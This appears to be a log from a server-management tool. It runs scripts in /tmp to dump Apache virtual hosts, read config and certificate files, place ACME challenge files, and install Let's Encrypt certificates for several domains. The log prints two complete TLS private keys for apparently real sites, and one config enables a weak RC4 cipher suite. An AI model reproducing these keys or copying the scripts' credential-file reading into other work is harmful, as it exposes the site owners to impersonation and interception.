port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-13 10:56:14:
PUT: /tmp/pkp521828
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_test_co.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-13 10:56:14:
chmod 755 /tmp/pkp521828; /tmp/pkp521828; rm /tmp/pkp521828
2025-09-13 10:56:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 1340
<VirtualHost *:80>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_access.log combined
ErrorLog /var/log/apache2/patientapps/test_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/test_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-13 10:56:14:
PUT: /tmp/pkp358982
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-13 10:56:14:
chmod 755 /tmp/pkp358982; /tmp/pkp358982; rm /tmp/pkp358982
2025-09-13 10:56:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293 5360
6b:c1:e4:8e:94:02:51:1d:0a:f4:66:25:45:c3:67:2f
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBh4Wwj3J1bN7v6YTUysdNeAMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEzMDk1NzQzWhcNMjUxMjEyMDk1NzQyWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAt9cLYBlvLp6YLwEAOToZQDUMh4hRoOJsrVG/hRfyev9i/q0MpT3erjRS
ZswF2xqj/cwq8TPgtCmRhE4mrauapapPADo69ZirMUIfUaBJ2C+o2t1q6XycxYL5
92nnVq004a9xPDo2NRAYGJ9HFrWyQGxd/ziM7dCdxxramm9x4fVHS6g2fDFu2liB
yM2HsnuRo3YLXLXZkdeyGl6ucXprL+zQE45ml3rdN32hY1Q28JVp1UCXNq4YdA8X
cOR5LZQSzILNyKngHzYxkrlz/5/nbpmHUP/pcbPPqhEmGuGCLgJf2EEEady4mQw/
3qBhKk7wnkM8IDviQn+zXW7XhWYMgwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTRJnYt6MjrWLdzhww6nKD0O8X7RjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZlCt+k1AAAE
AwBIMEYCIQDQnh0MWo0rrZQASrR6hSQ16ZyZxUlDRzORqx0UYJXk9gIhAJHFR8cg
f4R9ey9LnL2wa7BCXkFMdXB2oIjBcp3KJtoOAHUAGgT/SdBUHUCv9qDDv/HYxGcv
TuzuI0BomGsXQC7ciX0AAAGZQrfpRQAABAMARjBEAiBZu/zb8yXAJa2r+SqjLdFS
3uMOaVG+q09wCYgfTlUdbQIgV0QGLBKNGIpjG+Tqh6oq7Bcr4AsqweTM4KwUW/eC
YMcwDQYJKoZIhvcNAQELBQADggEBAJOOB+Q3AGhl76gKiEI4HoSQ5y4dGA1uSDBe
gutXIPZLByPcRKetFByxknPyxSRJijLiQepmgs1bt2v/S13GnRZUhzKXrk77TliO
3NHlXGpSCGefeceLtEAGkQdrDgAdMgunOgMkRFc8gzSfNckpW3WaEId7ffbi7v8N
9s57e8FhkNZ0zMoAoz6PJum4QkgoiFkUfrNuaIGvOGPiTBnDYVhhbNJsYc3o2G59
W4LMkPC0n9WZGD4u0WmKgsPQ0A36f4wvYp3IKTxYVzVUtYy2wHzMfzCnm+QtmcUm
M2Jjo8cHLhRUu5wWcu2a8GLKnFZvioQI+btIVHIsDBP4RclOJbI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC31wtgGW8unpgv
AQA5OhlANQyHiFGg4mytUb+FF/J6/2L+rQylPd6uNFJmzAXbGqP9zCrxM+C0KZGE
Tiatq5qlqk8AOjr1mKsxQh9RoEnYL6ja3WrpfJzFgvn3aedWrTThr3E8OjY1EBgY
n0cWtbJAbF3/OIzt0J3HGtqab3Hh9UdLqDZ8MW7aWIHIzYeye5GjdgtctdmR17Ia
Xq5xemsv7NATjmaXet03faFjVDbwlWnVQJc2rhh0Dxdw5HktlBLMgs3IqeAfNjGS
uXP/n+dumYdQ/+lxs8+qESYa4YIuAl/YQQRp3LiZDD/eoGEqTvCeQzwgO+JCf7Nd
bteFZgyDAgMBAAECggEAI+5S2dh+w4TZx64RZh3123fC2CaLlb9LcGCe5xt0GBgc
OByIcS9ze2bciBzuNBGz5aHm7ret/mh1eX9wzdbRZfmwcSHwbhoFs53x0xlZ9Xfz
L7vA7pudZHkh8/pt7aHyyP1qS1QxThO0MfPHiCfBDBhiEsTxvnVcsRKNkUug3YGn
B+TDxfcfbKzqbL/zapYSGAMC4CTh6vBievW87CUWjW/ww5vwZ1Myh5lzQvK+bnT5
WlA81YN0FOipt3s845tNTySaP+uasdlHFz64i+RjCuRS+M9iA2NN7SL28WXBSTqB
oOCGs32ZQEx1dq1oUXlw2Z96P99GEv9VPUML6MaByQKBgQDotYwXMcBXO9EkT+mp
FdyOi1wveKUwbooDO77ZRiDB/YAtT+D6JvByAlLKZ5ovsiSxtl4SaVDS7hUHFNbU
UShSDlRJIzN2jwBFoI0WsUhSh28E7m3pqnndrS9rw1a/Uf+coZ4Cr1gzPAbl0s2l
iL1l5ghmO8d1Ao6wm0Wj2UCuPwKBgQDKPWBXRt3JvPDJ+4z8woZV+WaG/MrjdeEc
bPrZ3k3gEWCzPeW+ZY5wWR9Zw20YRJZ/GFFRYiJNFz1iUa52qBgIkEF6GnF2qkC8
OqVnToX4aE7TldPBpYDy9VRJJ4B5iAOVt74tE+in3HUEmoFj5Spyp8E+WhoC60r2
eaVuWtCYvQKBgC4VFYLaVU5xB/9627iiHaUUr9Kuv3eRzD7LrAV2v7Hqs2FFujWP
VHofP6nZTk03p9CRXpuiw2ChyQQ3+jrdP3DQaZx6HgzSUKl5G7dsr/e33iJJ3PYy
ziM50nQyoJEOeeHYl2PMuVicAHmufw7Svz7YiL1GBT+EnCEY/ndt5EMdAoGAcSWp
kurJByc4KCkelgNXGR6xp/AiquO2kCrApcfkFepjCaUltkInUN/r1FKr5JnrASxf
woJ+4laQN0Ovsh8VYyUiHOhSdquGEElXZNbfyTzCbUoz8PFhlYyAHXWGQXhBWTA1
rA6padDDf1HZ9kOuXftQ+Et8pglyJTelwHn6npkCgYEAmf3oNdyddcrxa13V3p/q
n/SjgT6+GLWc7m20Th5UpNX/7dGZW83yu7EO6NfkvtxiJ/PVFV+pKKrPFCo4c9qR
ogqlsMkOLqjPPaafmCTtRWZBgKpK/bf0ateyFyo34szCyn5yto6m9cMTtJtb1dZA
rgzpjkykU+zA7iWaYYcJQA8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-16 06:00:01: Establishing a connection
2025-09-16 06:00:02: Establishing a connection
2025-09-16 06:00:02:
PUT: /tmp/pkp449302
#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-16 06:00:03:
chmod 755 /tmp/pkp449302; /tmp/pkp449302; rm /tmp/pkp449302
2025-09-16 06:00:03:
1
2025-09-16 06:00:04: Establishing a connection
2025-09-16 06:00:04:
PUT: /tmp/pkp553788
#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cat > wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo
cat > rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk
2025-09-16 06:00:04:
chmod 755 /tmp/pkp553788; /tmp/pkp553788; rm /tmp/pkp553788
2025-09-16 06:00:04:
2025-09-16 06:00:14: Establishing a connection
2025-09-16 06:00:14:
PUT: /tmp/pkp820518
#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
rm wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo
rm rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk
2025-09-16 06:00:14:
chmod 755 /tmp/pkp820518; /tmp/pkp820518; rm /tmp/pkp820518
2025-09-16 06:00:14:
2025-09-16 06:00:14: Establishing a connection
2025-09-16 06:00:15:
PUT: /tmp/pkp234614
#!/bin/bash
temp_file=$(mktemp)
TARGET=00f32caf8ea0fbe0d1b245ad2ff4822f.crt
cat > $temp_file <<'endmsg'
2d:e5:bb:7c:3b:af:22:fe:50:f6:3a:a1:78:b9:65:55
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBrvF6Ka7h6mbpkP0XqvPLALZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE2MDUwMTQ0WhcNMjUxMjE1MDUwMTQzWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKLDE+EvtteVrcuDR/IqxpAVdCleENhxzIuk+C9vNO8z7OVLNVvclrT67skx
h8SJingcdE5uNL5VRPzupb+LWn2aboceiViuI9C+pNPZ0BG5LMIjOIdCOKEFyVnC
EoHnxc6gCH24CO6CseA7fhkYOqy6T9Oks/a6jFHmgxuQK8xW6uTzR6DhRcoAbzhZ
c59gbuk9thIHzJbiJ9xpNCMRu/VGl6pitZrplbZSpj7xLMn+A3maxy/8Djzgv6XG
PN6lui/HuPPswZ4ODDl2UYPUlndcy07WSnZ1EfcrpqY+PguIG5Dn0SLLEJnc1rJF
RkhBqUCQ4RH/Va36XW4I88kAEgMCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUGxDYeVyEtcSSMAgi/kR0UOYz5rAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTAuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZURwCngAABAMASDBGAiEA405jXgJ2A+4s+EbJIjjF1aAtoqTa
ct5pJvQYq8TmMzUCIQDShmSv3qtjzegEHWFm6YHqUsgyVmznLxHR4SDa8jdcDgB2
AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmVEcAtIAAAQDAEcw
RQIgLH/4EIchIw7mRp0E1UsukVlHBOkZkgXAN6q0kZg9EgoCIQCD2tLvr2AnOtGP
caN7lb8qJw01U0ewUDA/V9HeiKQ/QDANBgkqhkiG9w0BAQsFAAOCAQEAigwKVale
eFVgEFSU70cgrFWAF53mSwdfjyRxdlmNgtIq3BgeRGFJX57scH2xFu135pnM4Zv4
8pE07Ty9oG8TQ+jR0xeB7TD1vguMpQ7V0seQUEHQwVQwl4on25hngXMO0NkU2b8z
8VSNLWQqtmbFmQ2+9Opo4GYgDMGvA95dEm7WZxSkZaGaSmD6CAP0P9JuI6H8mvO/
X/fM7sLMLT2yKxm2eR1dOz+Omoq7CHWKbeTNvW4gz0Rut0rUQ0pJ+jF9zvpN2vvT
R33ioeulHexgI8t6EYbqh/d/lQ7lns50glbOcXcMDIJZdppGNES8i9DSQJ8hztEg
tNfeuIjcQS6cNA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCiwxPhL7bXla3L
g0fyKsaQFXQpXhDYccyLpPgvbzTvM+zlSzVb3Ja0+u7JMYfEiYp4HHRObjS+VUT8
7qW/i1p9mm6HHolYriPQvqTT2dARuSzCIziHQjihBclZwhKB58XOoAh9uAjugrHg
O34ZGDqsuk/TpLP2uoxR5oMbkCvMVurk80eg4UXKAG84WXOfYG7pPbYSB8yW4ifc
aTQjEbv1RpeqYrWa6ZW2UqY+8SzJ/gN5mscv/A484L+lxjzepbovx7jz7MGeDgw5
dlGD1JZ3XMtO1kp2dRH3K6amPj4LiBuQ59EiyxCZ3NayRUZIQalAkOER/1Wt+l1u
CPPJABIDAgMBAAECggEBAJ/5u61m94D4JmVUuL9mmdn+rDkIsuf7Gj/bOvFsjYva
7qoEfQK4Uwy5Y0AvRbHAOnCKDysTmRXGu9MbQaB9+MhhpOd79SVLq/o9l8Z+XMs+
xaZfde1EAmMKS/jEDurOAxdvJkljPKwpm2m5L9y8etdRHKr6RMRqYQcS2aSa1OG2
ru6L4j8U/evAElLZ7NqMC2e91aHwJmSda2CpwMh9tc42it7iogUXVpGwnPuSXCac
W6HJYc4iCz0uk1dkycPA1WwQmQ/N2Vf7a3ZThzJaBXqJ9vOeCtuAYF7xHrhO9R3C
LHWIhmBTWXHeHyxvxGzYNXNnL0hmqGy1FCBWRHEtHfkCgYEA1S3NiPULvrk5YjP/
0qMSvJU0UZJnZdoO7xEsiEaxF/QZ1EhLFdvJ20U62lymR8IcM/oNvwbMkGd83fNt
CN4069y3lS26isB5ZbeOkln9vmurqRp23u06jkUmzsMzP1E1RNvYr86d9tBI3cU1
a8pkPEqHKU5ZE+Qt1mJhtoeL1X0CgYEAw3S2AppVqSVEyYfpei3m/J6QgMKb7dKV
sV8nQJ+MygfDQ1LnnZ4TqO9nuTRPtF7VDF72UJfYNUFZ0Rm0qlkgjr/GJ6zgbpnP
Hxo7yaXevtCmJZqtaJCs46jrgknJOEefSDpzQNlZh5ES+wrE/9nYkWT20VD0ErZK
mkh6MDPaHX8CgYEA0nt66LMqeZHgurmk6ZDhuxmGotPvC32WKS3HznYd/QyjRBpt
KJPuZnWgemHoPAnIVvmaAPbxm9LSU0M6cPsVPZycFssj2EPamTf3qUD5bL5aq4jZ
vZp1qmtUuem5+9ZuxiJbfJqBFWTpzS4eZONcvLrJYVteUGmHaJmS6OpEgvECgYB8
uE2oDYlZnIFvQ721C/NYAWpd71CGihihDQHEF8tD434yyIUpK4SKCPIb2Qh/JQA3
m6T7OllpaiEA77E7/hFrZW3xRTwU9yqWQywheSlQg11xo2jBz4ey4cgd5C11Lyax
dTK0D700Z1tAO9gHFqA97rocSNbl1dJ27oahmYS1ywKBgQCK8y2tlg0Jh+sASMFI
0mSNmzlQrONHUTPBqaoTyhJnyX03uQb0DcEDi+kI1/TqvsPNXUMowg8PzdXFnvu9
W2Q9x6FBCLLgVDRZLcsZjrWNBQGn0f6ERMh3UrFy25WsoIn9iwxUJF7T2yunXF4l
wIUjuL4+VttfLr3l1urP51+gWw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-16 06:00:15:
chmod 755 /tmp/pkp234614; /tmp/pkp234614; rm /tmp/pkp234614
2025-09-16 06:00:15:
dir=/etc/ssl/certs
